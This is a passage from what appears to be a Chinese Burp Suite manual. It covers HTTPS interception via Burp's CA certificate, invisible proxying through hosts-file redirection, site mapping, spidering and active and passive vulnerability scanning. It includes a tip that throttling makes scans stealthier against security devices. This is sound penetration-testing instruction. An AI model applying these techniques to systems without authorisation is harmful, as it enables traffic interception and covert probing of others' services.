现在,我们再看看WebSockets历史选项的功能,从界面上我们可以看出,WebSockets历史 所提供的功能和选项是HTTP历史的一个子集,只是因为采用的通信方式的不同,而被独立出 来成为一个专门的视图。其功能的使用方式与HTTP历史雷同,此处就不在赘述。 通过本章的学习,你对BurpSuite的代理模式有了更深入的理解,知道了作为中间人的Burp Proxy在消息拦截过程中,可以对请求消息、应答消息做多方面的修改,并可以把消息传递给 Burp的其他组件做进一步的测试。同时,BurpProxy的历史日志功能和多种筛选过滤器让我 们在使用中,能快速地查找需要的数据和关键信息,这些,都极大地帮助你提高了工作效 率。 第三章如何使用BurpSuite代理 26 第四章SSL和Proxy高级选项 在前一章,我们已经学习了HTTP消息如何通过BurpProxy进行拦截和处理,本章我们将继续 学习HTTPS协议消息的拦截和处理。 HTTPS协议是为了数据传输安全的需要,在HTTP原有的基础上,加入了安全套接字层SSL协 议,通过CA证书来验证服务器的身份,并对通信消息进行加密。基于HTTPS协议这些特性, 我们在使用BurpProxy代理时,需要增加更多的设置,才能拦截HTTPS的消息。 本章包含的主要内容有 CA证书的安装 CA证书的卸载 Proxy监听设置 SSL直连和隐形代理设置 我们都知道,在HTTPS通信过程中,一个很重要的介质是CA证书,下面就我们一起来看看 BurpSuite中CA证书的安装。 CA证书的安装 一般来说,BurpProxy代理过程中的CA主要分为如下几个步骤(以win7下IE9为例): 1. 首先,根据前三章内容的学习,你已配置好BurpProxy监听端口和IE的代理服务器设置。 其次,你的IE浏览器中没有安装过BurpSuite的CA证书,如果已经安装,请先卸载证 书。详细的卸载方法请参考CA证书的卸载章节。 2. 以管理员身份,启动IE浏览器,在地址栏输入http://burp并回车,进入证书下载页面 3. 点击上图所示的证书下载,另存为到本地目录。 4. 点击浏览器上的【工具】菜单,打开【Internet选项】。 第四章SSL和Proxy高级选项 27 5. 在弹出的证书对话框中,点击【内容】-【证书】。 第四章SSL和Proxy高级选项 28 6. 在弹出的证书对话框中,选中【受信任的根证书颁发机构】,点击【导入】。 7. 点击【下一步】,选择步骤3保存的证书文件,进行下一步操作。 第四章SSL和Proxy高级选项 29 8. 指定证书的存储位置,如图 9. 点击【下一步】,直至完成。这时,会提示安全警告,点击【是】,提示导入完成。 第四章SSL和Proxy高级选项 30 10. 关闭IE,重启浏览器,CA证书即配置完成。 CA证书的卸载 CA证书的卸载的通常有两种方式,第一种方式在上一章节CA证书安装中的第6步,找到需要 卸载的证书,点击【删除】即可。我们这里主要描述第二种删除方式,主要是为了解决在第 一种方式的基础上删除按钮失效或者证书列表里看不到的证书也一起删除的方法。 1. 首先,我们打开cmd,输入mmc,或者你在运行输入框里直接输入mmc回车,会弹出管 理控制台。 第四章SSL和Proxy高级选项 31 2. 点击【文件】菜单,打开【添加/删除管理单元】 3. 找到证书,如下图1,点击【添加】按钮,如下图2 第四章SSL和Proxy高级选项 32 4. 在弹出的对话框中默认选中【我当前的用户】,点击【完成】,一直到结束,这是会在 控制台跟节点下多了一个证书的节点。 5. 打开CA证书所在的位置,选择删除即可。 第四章SSL和Proxy高级选项 33 6. 这时,你再返回到IE浏览器的证书列表里,则不会再看到被删除的证书了。 除了IE之外,其他的浏览器如FireFox、Chrome、Sarifa等都证书的安装和卸载基本类似,操 作时可以以IE的CA证书安装作为参考。 Proxy监听设置 当我们启动BurpSuite时,默认会监听本地回路地址的8080端口,除此之外,我们也可以在默 认监听的基础上,根据我们自己的需求,对监听端口和地址等参数进行自由设置。特别是当 我们测试非浏览器应用时,无法使用浏览器代理的方式去拦截客户端与服务器端通信的数据 流量,这种情况下,我们会使用自己的Proxy监听设置,而不会使用默认设置。 Proxy监听设置 第四章SSL和Proxy高级选项 34 当我们在实际使用中,可能需要同时测试不同的应用程序时,我们可以通过设置不同的代理 端口,来区分不同的应用程序,Proxy监听即提供这样的功能设置。点击图中的【Add】按 钮,会弹出Proxy监听设置对话框,里面有更丰富的设置,满足我们不同的测试需求。 Proxy监听设置主要包含3块功能: 1. 端口和IP绑定设置Binding绑定的端口port是指BurpProxy代理服务监听的端口,绑定IP 地址分仅本地回路、所有接口、指定地址三种模式,在渗透测试中,无论你选择哪种模 式,你需要明白一点,当你选择的非本地回路IP地址时,同局域网内的其他电脑也可以 访问你的监听地址。 第四章SSL和Proxy高级选项 35 2. 请求处理RequestHandling请求处理主要是用来控制接受到BurpProxy监听端口的请求 后,如果对请求进行处理的。 其具体配置可分为:端口的转发、主机名/域名的转发、强制使用SSL和隐形代理4个部 分。当我们配置了端口的转发时,所有的请求都会被转发到这个端口上;如果我们配置 了主机或域名的转发,则所有的请求会转发到指定的主机或域名上。同时,我们可以指 定,通过BurpProxy的消息是否强制使用SSL,如果设置了此项,则请求若是http协议, 经Burpproxy代理后将转换为https协议。隐形代理主要是用于测试富客户端应用或者是 非浏览器代理方式的应用,当我们设置了它,访问这些应用时,将通过非代理的方式,直 接连接BurpProxy的监听端口。 3. SSL证书这些设置控制呈现给SSL客户端的服务器SSL证书。可以解决使用拦截代理时 出现的一些SSL问题:1.您可以消除您的浏览器的SSL警报,并需要建立SSL例外。其 中,网页加载来自其他域的SSL保护的项目,可以确保这些正确的加载到浏览器,而不需 要为每个域手动接受代理的SSL证书。2.可以与该拒绝无效的SSL证书连接到服务器胖客 户机应用程序的工作。它有下列选项可供设置: 4. 使用自签名证书(Useaself-signedcertificate)——一个简单的自签名SSL证书呈现 给您的浏览器,它总是会导致SSL警告。 5. 生成每个主机的CA签名证书(GenerateCA-signedper-hostcertificates)——这是默认 选项。在安装时,Burp创造了一个独特的自签名的证书颁发机构(CA)证书,并将此计 算机上使用。当你的浏览器发出的SSL连接指定主机,Burp生成该主机的SSL证书,由 CA证书签名。您可以安装Burp的CA证书作为浏览器中的受信任的根,从而使每个主机证 书没有任何警报接受。 第四章SSL和Proxy高级选项 36 6. 生成与特定的主机名CA签发的证书(GenerateaCA-signedcertificatewithaspecific hostname)——-是类似于前面的选项;不同的是,Burp会生成一个主机证书与每一个 SSL连接使用,使用指定的主机名。 7. 使用自定义证书(Useacustomcertificate)——此选项可以加载一个特定的证书(在 PKCS#12格式)呈现给浏览器。如果应用程序使用这需要一个特定的服务器证书(例 如,与给定的序列号或证书链)的客户端应该使用这个选项。 SSL直连和隐形代理 SSL直连的设置主要用于指定的目的服务器直接通过SSL连接,而通过这些连接的请求或响应 任何细节将在Burp代理拦截视图或历史日志中可见。通过SSL连接传递可以并不是简单地消 除在客户机上SSL错误的情况下有用。比如说,在执行SSL证书的移动应用。如果应用程序访 问多个域,或使用HTTP和HTTPS连接的混合,然后通过SSL连接到特定的主机问题仍然使您 能够以正常的方式使用Burp的其他方式进行通信。如果启用自动添加客户端SSL协商失败的 选项,当客户端失败的SSL协议检测(例如,由于不承认Burp的CA证书),并会自动将相关 的服务器添加到SSL直通通过列表中去。其设置界面如下图所示: 有时候,在拦截富客户端软件时,我们通常需要使用隐形代理。富客户端软件通常是指运行 在浏览器之外的客户端软件,这就意味着它本身不具有HTTP代理是属性。当它进行网络通信 时,客户端将无法使代理感知或者无法由代理进行通信。在Burp中,我们可以使用隐形代理 的方式,对通信内容进行代理或拦截,从而对通信的请求和响应消息进行分析。使用隐形代 理通常需要做如下设置(以https://example.com为例):1.配置hosts文件,Windows操作系 统下的目录位置Windows/System32/drivers/etc/hosts,而Linux或者Unix下的目录 为/etc/hosts,添加如下行: 127.0.0.1example.com 第四章SSL和Proxy高级选项 37 2.第一步设置完成之后,我们需要添加一个新的监听来运行在HTTP默认的80端口,如果通信 流量使用HTTPS协议,则端口为443。 3.如果是HTTPS协议的通信方式,我们需要一个指定域名的CA证书。 第四章SSL和Proxy高级选项 38 4.接着,我们需要把Burp拦截的流量转发给原始请求的服务器。这需要在Options- >Connections->HostnameResolution进行设置。因为我们已经告诉了操作系统, example.com的监听地址在127.0.0.1上,所以我们必须告诉Burp,将example.com的流量转 发到真实的服务器那里去。 5. 通过这样的配置,我们就可以欺骗富客户端软件,将流量发送到Burp监听的端口上,再由 Burp将流量转发给真实的服务器。 第四章SSL和Proxy高级选项 39 第五章如何使用BurpTarget BurpTarget组件主要包含站点地图、目标域、Target工具三部分组成,他们帮助渗透测试人 员更好地了解目标应用的整体状况、当前的工作涉及哪些目标域、分析可能存在的攻击面等 信息,下面我们就分别来看看BurpTarget的三个组成部分。 本章的主要内容有: 目标域设置TargetScope 站点地图SiteMap Target工具的使用 目标域设置TargetScope TargetScope中作用域的定义比较宽泛,通常来说,当我们对某个产品进行渗透测试时,可以 通过域名或者主机名去限制拦截内容,这里域名或主机名就是我们说的作用域;如果我们想 限制得更为细粒度化,比如,你只想拦截login目录下的所有请求,这时我们也可以在此设 置,此时,作用域就是目录。总体来说,TargetScope主要使用于下面几种场景中: 限制站点地图和Proxy历史中的显示结果 告诉BurpProxy拦截哪些请求 BurpSpider抓取哪些内容 BurpScanner自动扫描哪些作用域的安全漏洞 在BurpIntruder和BurpRepeater中指定URL 第五章如何使用BurpTarget 40 通过TargetScope我们能方便地控制Burp的拦截范围、操作对象,减少无效的噪音。在 TargetScope的设置中,主要包含两部分功能:允许规则和去除规则。 其中允许规则顾名思义,即包含在此规则列表中的,视为操作允许、有效。如果此规则用于 拦截,则请求消息匹配包含规则列表中的将会被拦截;反之,请求消息匹配去除列表中的将 不会被拦截。 从上图的添加 规则对话框中我们可以看出,规则主要由协议、域名或IP地址、端口、文件名4个部分组成, 这就意味着我们可以从协议、域名或IP地址、端口、文件名4个维度去控制哪些消息出现在允 许或去除在规则列表中。 第五章如何使用BurpTarget 41 当我们设置了TargetScope(默认全部为允许),使用BurpProxy进行代理拦截,在渗透测 试中通过浏览器代理浏览应用时,Burp会自动将浏览信息记录下来,包含每一个请求和应答 的详细信息,保存在Target站点地图中。 站点地图SiteMap 下图所示站点地图为一次渗透测试中,通过浏览器浏览的历史记录在站点地图中的展现结 果。 从图中我们可以看出,SiteMap的左边为访问的URL,按照网站的层级和深度,树形展示整 个应用系统的结构和关联其他域的url情况;右边显示的是某一个url被访问的明细列表,共访 问哪些url,请求和应答内容分别是什么,都有着详实的记录。基于左边的树形结构,我们可 以选择某个分支,对指定的路径进行扫描和抓取。 第五章如何使用BurpTarget 42 同时,我们也可以将某个域直接加入TargetScope中. 第五章如何使用BurpTarget 43 除了加入TargetScope外,从上图中,我们也可以看到,对于站点地图的分层,可以通过折 叠和展开操作,更好的分析站点结构。 Target工具的使用 Target工具的使用的使用主要包括以下部分: 手工获取站点地图 站点比较 攻击面分析 当我们手工获取站点地图时,需要遵循以下操作步骤:1.设置浏览器代理和BurpProxy代 理,并使之能正常工作。2.关闭BurpProxy的拦截功能。3.手工浏览网页,这时,Target会 自动记录站点地图信息。手工获取站点地图的方式有一个好处就是,我们可以根据自己的需 要和分析,自主地控制访问内容,记录的信息比较准确。与自动抓取相比,则需要更长的时 间,如果需要渗透测试的产品系统是大型的系统,则对于系统的功能点依次操作一遍所需要 的精力和时间对渗透测试人员来说付出都是很大的。 站点比较是一个Burp提供给渗透测试人员对站点进行动态分析的利器,我们在比较帐号权限 时经常使用到它。当我们登陆应用系统,使用不同的帐号,帐号本身在应用系统中被赋予了 不同的权限,那么帐号所能访问的功能模块、内容、参数等都是不尽相同的,此时使用站点 第五章如何使用BurpTarget 44 比较,能很好的帮助渗透测试人员区分出来。一般来说,主要有以下3种场景:1.同一个帐 号,具有不同的权限,比较两次请求结果的差异。2.两个不同的帐号,具有不同的权限,比 较两次请求结果的差异。3.两个不同的帐号,具有相同的权限,比较两次请求结果的差异。 第五章如何使用BurpTarget 45 下面我们就一起来看看如何进行站点比较。1.首先我们在需要进行比较的功能链接上右击, 找到站点比较的菜单,点击菜单进入下一步。 第五章如何使用BurpTarget 46 2.由于站点比较是在两个站点地图之间进行的,所以我们在配置过程中需要分别指定SiteMap 1和SiteMap2。通常情况下,SiteMap1我们默认为当前会话。如图所示,点击【Next】。 3.这时我们会进入SiteMap1设置页面,如果是全站点比较我们选择第一项,如果仅仅比较我 们选中的功能,则选择第二项。如下图,点击【Next】。如果全站点比较,且不想加载其他 域时,我们可以勾选只选择当前域。 第五章如何使用BurpTarget 47 4.接下来就是SiteMap2的配置,对于SiteMap2我们同样有两种方式,第一种是之前我们已 经保存下来的BurpSuite站点记录,第二种是重新发生一次请求作为SiteMap2.这里,我们选 择第二种方式。 第五章如何使用BurpTarget 48 5.如果上一步选择了第二种方式,则进入请求消息设置界面。在这个界面,我们需要指定通信 的并发线程数、失败重试次数、暂停的间隙时间。 6.设置完SiteMap1和SiteMap2之后,将进入请求消息匹配设置。在这个界面,我们可以通 过URL文件路径、Http请求方式、请求参数、请求头、请求Body来对匹配条件进行过滤。 第五章如何使用BurpTarget 49 7..设置请求匹配条件,接着进入应答比较设置界面。在这个界面上,我们可以设置哪些内容 我们指定需要进行比较的。从下图我们可以看出,主要有响应头、form表单域、空格、MIME 类型。点击【Next】。 第五章如何使用BurpTarget 50 8.如果我们之前是针对全站进行比较,且是选择重新发生一次作为SiteMap2的方式,则界面 加载过程中会不停提示你数据加载的进度,如果涉及功能请求的链接较少,则很快进入比较 界面。如下图。 9.从上图我们可以看到,站点比较的界面上部为筛选过滤器(这个过滤器与其他过滤器使用雷 同,此处不再赘述),下部由左、中、右三块构成。左边为请求的链接列表,中间为Site Map1和SiteMap2的消息记录,右边为消息详细信息。当我们选择SiteMap1某条消息记录 时,默认会自动选择SiteMap2与之对应的记录,这是有右上角的【同步选择】勾选框控制 的,同时,在右边的消息详细区域,会自动展示SiteMap1与SiteMap2通信消息的差异,包 含请求消息和应答消息,存在差异的地方用底色标注出来。 第五章如何使用BurpTarget 51 攻击面分析是BurpSuite交互工具(Engagementtools)中的功能,这里我们先看看Analyze Target使用,其他的功能会在高级使用相关章节讲述。1.首先,我们通过站点地图,打开 AnalyzeTarget,如图所示。 2.在弹出的分析界面中,我们能看到概况、动态URL、静态URL、参数4个视图。 第五章如何使用BurpTarget 52 3.概况视图主要展示当前站点动态URL数量、静态URL数量、参数的总数、唯一的参数名数 目,通过这些信息,我们对当前站点的总体状况有粗线条的了解。4.动态URL视图展示所有 动态的URL请求和应答消息,跟其他的工具类似,当你选中某一条消息时,下方会显示此消 息的详细信息。 5.静态URL视图与动态URL视图类似,如图. 第五章如何使用BurpTarget 53 6.参数视图有上中下三部分组成,上部为参数和参数计数统计区,你可以通过参数使用的次数 进行排序,对使用频繁的参数进行分析;中部为参数对于的使用情况列表,记录对于的参数 每一次的使用记录;下部为某一次使用过程中,请求消息和应答消息的详细信息。 在使用攻击面分析功能时,需要注意,此功能主要是针对站点地图中的请求URL进行分析, 如果某些URL没有记录,则不会被分析到。同时,在实际使用中,存在很点站点使用伪静 态,如果请求的URL中不带有参数,则分析时无法区别,只能当做静态URL来分析。 第五章如何使用BurpTarget 54 第五章如何使用BurpTarget 55 第六章如何使用BurpSpider 通过前一章的学习,我们了解到,存在于BurpTarget中的站点信息,我们可以直接传送到 BurpSpider中进行站点信息的爬取。这一章我们重点来学习BurpSpider的使用,主要包含两 个方面: Spider控制(Control) Spider可选项设置(Options) BurpSpider的功能主要使用于大型的应用系统测试,它能在很短的时间内帮助我们快速地了 解系统的结构和分布情况,下面我们就先来看看Spider控制, Spider控制 Spider控制界面由Spider状态和Spider作用域两个功能组成。 Spider状态除了显示当前进度、传输情况、请求队列等统计信息外,还有Spider运行/暂停按 钮与清空队列按钮,分别用来控制Spider是否运行和队列中的数据管理。而Spider作用域是 用来控制Spider的抓取范围,从图中我们可以看到有两种控制方式,一种是使用上一章讲的 TargetScope,另一种是用户自定义。当我们选中用户自定义按钮,界面改变成下面的样子, 如下图所示。 第六章如何使用BurpSpider 56 此处用户自定义作用域的配置与TargetScope的配置完全一致,具体使用方法请参数上一章 TargetScope的配置。 Spider可选项设置 Spider可选项设置由抓取设置、抓取代理设置、表单提交设置、应用登陆设置、蜘蛛引擎设 置、请求消息头设置六个部分组成。 抓取设置(CrawlsSettings)-此项是用来控制蜘蛛抓取网页内容的方式 自上 而下依次是:检查robots.txt文件、检测404应答、忽略内容为空的链接、爬取根目录下 所有文件和目录、对每一个动态页面发送无参数请求、最大链接深度、最大请求URL参 数数目 抓取代理设置(PassiveSpidering) 第六章如何使用BurpSpider 57 这个设置比较简单,第一个如果勾选,则爬取时通过BurpProxy,反之则不通过。第二 个设置是控制代理的链接深度。默认为0,表示无限深度,即无论有多少层级的URL均需 要爬取。 表单提交设置(FormSubmission)表单提交设置主要是用来控制在蜘蛛抓取过程中, 对于form表单的处理方式,其界面如下图: 第一个下拉选项中,是对form表单域的处理内容做控制,默认选择ActionURL、 method、fields、values,即同时处理请求的url、请求方式GET或者POST、包含哪些属 性名以及属性值。点击下拉选项,可以选择其中一个或者几个。如下图: 接下来的设置的控制form表单的处理方 式:不提交表单、需要手工确认、使用默认值自动填写三种方式。不提交表单的含义是 抓取时候不提交表单数据,这个非常好理解;需要手工确认是指当抓取表单时,弹出界 面,让渗透测试人员自己手工确认表单数据;使用默认值自动填写是对表单的内容,使 用下方的各个配置项进行匹配(匹配时可以使用完全匹配和正则表达式匹配两种方式其 一),默认填写这些值,然后自动进行提交。其界面如下图所示: 第六章如何使用BurpSpider 58 从上图我们可以看出,对于表单的输入域我们可以添加和修改以满足实际情况的需要, 如果还有其他的属性输入域我们不想每一个都录入,可以勾选“设置不匹配的属性值”,统 一指定输入的值。如图中的555-555-0199@example.com 应用登陆(ApplicationLogin)此选择项主要用来控制抓取时,登陆页面的处理方式。 选择项依次是:不提交登陆信 息、手工确认登陆信息、作为普通表单处理(如果选择此项,则把登陆表单的form当作 其他表单一样处理,对于登陆表单将使用"表单提交设置"中的具体配置)、自动提交登 陆(选择此项,需要在下方的输入框中指定用户名和密码) 蜘蛛引擎设置(SpiderEngine)和HTTP消息头设置(RequestsHeader) 第六章如何使用BurpSpider 59 其中蜘蛛引擎设置主要是用来控制蜘蛛抓取的线程数、网络失败时重试的次数、重试暂 停间隙等,而HTTP消息头设置是用来设置Http请求的消息头自定义,比如说,我们可以 编辑消息头信息,可以指定请求为移动设备,或者不同的手机型号,或者指定为Safari浏 览器,指定HTTP协议版本为1.1、使用referer等。 第六章如何使用BurpSpider 60 第七章如何使用BurpScanner BurpScanner的功能主要是用来自动检测web系统的各种漏洞,我们可以使用BurpScanner 代替我们手工去对系统进行普通漏洞类型的渗透测试,从而能使得我们把更多的精力放在那 些必须要人工去验证的漏洞上。 在使用BurpScanner之前,我们除了要正确配置BurpProxy并设置浏览器代理外,还需要在 BurpTarget的站点地图中存在需要扫描的域和URL模块路径。如下图所示: 当BurpTarget的站点地图中存在这些域或URL路径时,我们才能对指定的域或者URL进行全 扫描或者分支扫描。下面我们就来整体的学习一下,一次完整的BurpScanner使用大概需要 哪些步骤。 本章的主要内容有: BurpScanner基本使用步骤 BurpScanner扫描方式 BurpScanner扫描报告 BurpScanner扫描控制 BurpScanner可选项设置 BurpScanner基本使用步骤 BurpScanner基本使用主要分为以下15个步骤,在实际使用中可能会有所改变,但大体的环 节主要就是下面的这些。1.确认BurpSuite正常启动并完成浏览器代理的配置。2.进入Burp Proxy,关闭代理拦截功能,快速的浏览需要扫描的域或者URL模块。3.当我们浏览时,默认 情况下,BurpScanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是非存 在系统漏洞。同时,当我们打开BurpTarget时,也会在站点地图中显示请求的URL树。 第七章如何使用BurpScanner 61 BurpScanner基本使用主要分为以下15个步骤,在实际使用中可能会有所改变,但大体的环 节主要就是下面的这些。1.确认BurpSuite正常启动并完成浏览器代理的配置。2.进入Burp Proxy,关闭代理拦截功能,快速的浏览需要扫描的域或者URL模块。3.当我们浏览时,默认 情况下,BurpScanner会扫描通过代理服务的请求,并对请求的消息进行分析来辨别是非存 在系统漏洞。同时,当我们打开BurpTarget时,也会在站点地图中显示请求的URL树。 第七章如何使用BurpScanner 62 4.我们可以有针对性的选择BurpTarget站点地图下的某个节点上链接URL上,弹出右击菜 单,进行ActiveScan。然后在弹出的确认框中,点击【YES】即进行扫描整个域。 6.这时,我们打开BurpScanner选项卡,在队列子选项卡中,会看到当前扫描的进度。如果 我们双击URL,则弹出扫描结果的提示信息。 7.如果我们在BurpTarget站点地图下选择某个子目录进行扫描,则会弹出更优化的扫描选 项,我们可以对选项进行设置,指定哪些类型的文件不再扫描范围之内。 第七章如何使用BurpScanner 63 8.当我们再次返回到BurpScanner选项卡界面时,选择的子目录已经开始在扫描中,其扫描 的进度依赖于需要扫描内容的多少。9.如果我们没有定义了目标作用域(TargetScope), 最简单的方式就是在BurpTarget站点地图上右击弹出菜单中添加到作用域,然后自动进行扫 描。 10.然后进入BurpScanner的Livescanning子选项卡,在LiveActiveScanning控制块中,选择 Usesuitescope,这样,BurpScanner将自动扫描经过BurpProxy的交互信息。 11.当我们再次使用浏览器对需要测试的系统进行浏览时,BurpScanner不会发送额外的请求 信息,自动在浏览的交互信息的基础上,完成对请求消息的漏洞分析。12.此时,当我再返回 第七章如何使用BurpScanner 64 到BurpTarget站点地图界面,将提示系统可能存在的漏洞情况,以及处理这些漏洞的建议。 13.同时,我们也可以在漏洞提示的请求信息上,将消息发送到BurpRepeater模块,对漏洞进 行分析和验证。 14.随着BurpScanner扫描的进度,在BurpTarget站点地图界面上的issues模块中的漏洞信息 也会不断的更新。15.当BurpScanner扫描完成之后,我们在BurpTarget站点地图的选择链 接右击,依次选择issues-->reportissuesforthishost即可导出漏洞报告。 第七章如何使用BurpScanner 65 BurpScanner扫描方式 通过以上的操作步骤我们可以学习到,BurpScanner扫描方式主要有两种:主动扫描和被动 扫描 主动扫描(ActiveScanning) 当使用主动扫描模式时,Burp会向应用发送新的请求并通过payload验证漏洞。这种模式下的 操作,会产生大量的请求和应答数据,直接影响系统的性能,通常使用在非生产环境。它对 下列的两类漏洞有很好的扫描效果: 1. 客户端的漏洞,像XSS、Http头注入、操作重定向; 2. 服务端的漏洞,像SQL注入、命令行注入、文件遍历。 对于第一类漏洞,Burp在检测时,会提交一下input域,然后根据应答的数据进行解析。在检 测过程中,Burp会对基础的请求信息进行修改,即根据漏洞的特征对参数进行修改,模拟人 的行为,以达到检测漏洞的目的。对于第二类漏洞,一般来说检测比较困难,因为是发生在 服务器侧。比如说SQL注入,有可能是返回数据库错误提示信息,也有可能是什么也不反 馈。Burp在检测过程中,采用各个技术来验证漏洞是否存在,比如诱导时间延迟、强制修改 Boolean值,与模糊测试的结果进行比较,已达到高准确性的漏洞扫描报告。 被动扫描(PassiveScanning) 第七章如何使用BurpScanner 66 当使用被动扫描模式时,Burp不会重新发送新的请求,它只是对已经存在的请求和应答进行 分析,这对系统的检测比较安全,尤其在你授权访问的许可下进行的,通常适用于生成环境 的检测。一般来说,下列这些漏洞在被动模式中容易被检测出来: 1. 提交的密码为未加密的明文。 2. 不安全的Cookie的属性,比如缺少的HttpOnly和安全标志。 3. cookie的范围缺失。 4. 跨域脚本包含和站点引用泄漏。 5. 表单值自动填充,尤其是密码。 6. SSL保护的内容缓存。 7. 目录列表。 8. 提交密码后应答延迟。 9. session令牌的不安全传输。 10. 敏感信息泄露,像内部IP地址,电子邮件地址,堆栈跟踪等信息泄漏。 11. 不安全的ViewState的配置。 12. 错误或者不规范的Content-type指令。 虽然被动扫描模式相比于主动模式有很多的不足,但同时也具有主动模式不具备的优点,除 了前文说的对系统的检测在我们授权的范围内比较安全外,当某种业务场景的测试,每测试 一次都会导致业务的某方面问题时,我们也可以使用被动扫描模式,去验证问题是否存在, 减少测试的风险。 BurpScanner扫描报告 当我们对一个系统进行扫描完毕后,通常需要生成扫描报告,BurpScanner支持的报告类型 有HTML和XML两种格式。无法何种格式的扫描报告,其内容基本一致,主要由以下部分组 成。报告样例可以点击BurpScannerreport查看. 除了头部的综述和目录外,每一个漏洞的章节通常包含:1.序号表示漏洞的序号,如果有多 个同样的漏洞,报告中只会有一个序号。2.漏洞的类型,可以近似地理解与OWASP的类型相 对应。3.漏洞名称,具体可参考IssueDefinitions子选项卡。4.漏洞路径,漏洞对应的多个 URL链接。5.漏洞的发生点,通常为参数名。6.问题的描述(Issuebackground)描述漏洞 发生的成因7.解决建议(Remediationbackground)提供解决的思路和建议8.请求消息和应 答消息的详细信息。 如果我们想对某次的扫描结果进行保存,需要BurpTarget的站点地图子选项卡的问题面板 (Issue)上右击,在弹出的菜单中选择reportIssues进行设置并保存即可。(注意,如果想 导出所有的漏洞,需要选中所有的问题列表)具体导出漏洞报告的步骤如下:1.选中需要保 存的漏洞,右击弹出菜单,如下图: 第七章如何使用BurpScanner 67 2.在弹出的对话框中选择需要保存的漏洞报告格式。 3.选择漏 洞明细包含内容。 第七章如何使用BurpScanner 68 4.请求消 息和应答消息设置。 5.选择报 告包含的哪些漏洞。 第七章如何使用BurpScanner 69 6.最后, 指定报告存放位置、报告名称等属性。 BurpScanner扫描控制 第七章如何使用BurpScanner 70 在对系统做主动扫描时,当我们激活BurpScanner,扫描控制的相关设置也同时开始了。如 下图所示,当我们在BurpTarget的站点地图上的某个URL执行Activelyscanthishost时,会 自动弹出过滤设置。 在这里,我们可以设置扫描时过滤多媒体类型的应答、过滤js、css、图片等静态资源文件。 当我们点击【next】按钮,进入扫描路径分支的选择界面。如下图: 第七章如何使用BurpScanner 71 以上是BurpScanner开始扫描前的控制,当我们设置完这些之后,将正式进入扫描阶段。此 时,在Scanqueue队列界面,会显示扫描的进度、问题总数、请求数和错误统计等信息。 在此界面上,我们可以选中某个记录,在右击的弹出菜单中,对扫描进行控制。比如取消扫 描、暂停扫描、恢复扫描、转发其他Burp组件等。如下图: 同时,在Results界面,自动显示队列中已经扫描完成的漏洞明细。 第七章如何使用BurpScanner 72 在每一个漏洞的条目上,我们可以选中漏洞。在弹出的右击菜单中,依次选择Setseverity, 对漏洞的等级进行标识。也可以选择Setconfidence,对漏洞是否存在或误报进行标注。 第七章如何使用BurpScanner 73 另外,在LiveScanning选项卡中,我们也可以对请求的域、路径、IP地址、端口、文件类型 进行控制,如下图: 如果你选中了UsesuiteScope,则指定条件与你在BurpTarget中的Scope配置完全一致,如 果你选择了Usecustomsscope,则可以自己定义Scope,对于Scope的详细配置,请参考 BurpTarget中的Scope配置相关章节。 BurpScanner可选项设置 通过前几节的学习,我们已经知道BurpScanner有主动扫描和被动扫描两个扫描方式,在 Options子选项卡中,主要是针对这两种扫描方式在实际扫描中的扫描动作进行设置。具体的 设置包含以下部分: 1. 攻击插入点设置(AttackInsertionPoints) 第七章如何使用BurpScanner 74 BurpScanner在扫描中,基于原始的请求消息,在每一个插入点构造参数,对原数据进 行替换,从而去验证系统漏洞的存在性。通常,以下位置都会被BurpScanner选择为插 入点。 2. URL请求参数 3. Body参数(比如form表单的值,上传文件、XML参数、JSON参数) 4. Cookie参数 5. 参数的名称和个数(通过增加参数个数或者增加参数来验证漏洞) 6. HttpHeader信息(通过对header信息的篡改来验证漏洞) 7. AFM编码(对flash通信漏洞的验证) 8. REST风格的参数 对于以上的攻击插入点,BurpScanner还是可以通过改变参数的位置来验证漏洞,Burp Scanner中共有URLtobody、URLtocookie、BodytoURL、Bodytocookie、Cookieto URL、Cookietobody六种方式。当我们在扫描验证中,可以根据实际请求,灵活选择位置 改变的组合,高效快速地验证漏洞。但我们也应该明白,当我们选中了位置改变来验证漏 洞,即选择了Burp发送更多的请求,如果是在生成系统中的测试需要慎重。 第七章如何使用BurpScanner 75 另外,Burp的攻击插入点也支持嵌套的方式,这意思是指,如果一个请求的参数值是JSON对 象或者XML文本,BurpScanner在扫描时,可以对JSON对象或XML文本中的属性、属性值进 行验证,这会极大地提高了BurpScanner对漏洞扫描的涉及面。这是由上图中的usenested insertionpoints的checkbox是否选中去控制的,默认情况下是选中生效的。 当我们设置攻击插入点的同时,我们也可以指定哪些参数进行跳过,不需要进行漏洞验证。 在设置时,Burp是按照服务器端参数跳过和所有参数均跳过两种方式来管理的,界面如下 图: 2主动扫描引擎设置(ActiveScanningEngine) 主动扫描引擎设置主要是用来控制主动扫描时的线程并发数、网络失败重试间隔、网络失败 重试次数、请求延迟、是否跟踪重定向。其中请求延迟设置(Throttlebetweenrequests)和 其子选项延迟随机数(Addrandomvariationstothrottle)在减少应用负荷,模拟人工测试, 使得扫描更加隐蔽,而不易被网络安全设备检测出来。至于这些参数的具体设置,需要你根 据服务器主机的性能、网络带宽、客户端测试机的性能做相应的调整。一般来说,如果您发 第七章如何使用BurpScanner 76 现该扫描运行缓慢,但应用程序表现良好,你自己的CPU利用率较低,可以增加线程数,使 您的扫描进行得更快。如果您发现发生连接错误,应用程序正在放缓,或你自己的电脑很 卡,你应该减少线程数,加大对网络故障的重试次数和重试之间的间隔。 3.主动扫描优化设置(ActiveScanningOptimization) 此选项的设置主要是为了优化扫描的速度和准确率,尽量地提高扫描速度的同时降低漏洞的 误报率。扫描速度(Scanspeed)分快速、普通、彻底三个选项,不同的选项对应于不同的 扫描策略,当选择彻底扫描(Thorough)时,Burp会发送更多的请求,对漏洞的衍生类型会 做更多的推导和验证。而当你选择快速扫描(Fast),Burp则只会做一般性的、简单的漏洞 验证。扫描精准度(Scanaccuracy)也同样分为三个选项:最小化假阴性(Minimizefalse negatives)、普通、最小化假阳性(Minimizefalsepositives)。扫描精准度主要是用来控制 Burp的扫描过程中针对漏洞的测试次数。当我们选择最小化假阳性时,Burp会做更多的验证 测试,来防止假阳性漏洞的存在,但也是恰恰基于此,当Burp做更多的验证测试时,可能存 在恰好无法获取应答的误报,增加了漏洞的噪音。智能攻击选择(Useintelligentattack selection)这个选项通过智能地忽略一些攻击插入点基值的检查,比如说一个参数值包含不 正常出现在文件名中的字符,Burp将跳过文件路径遍历检查此参数,使用此选项可加速扫 描,并降低在提升扫描速度的同时会导致漏报率上升的风险。 第七章如何使用BurpScanner 77 4.主动扫描范围设置(ActiveScanningAreas) 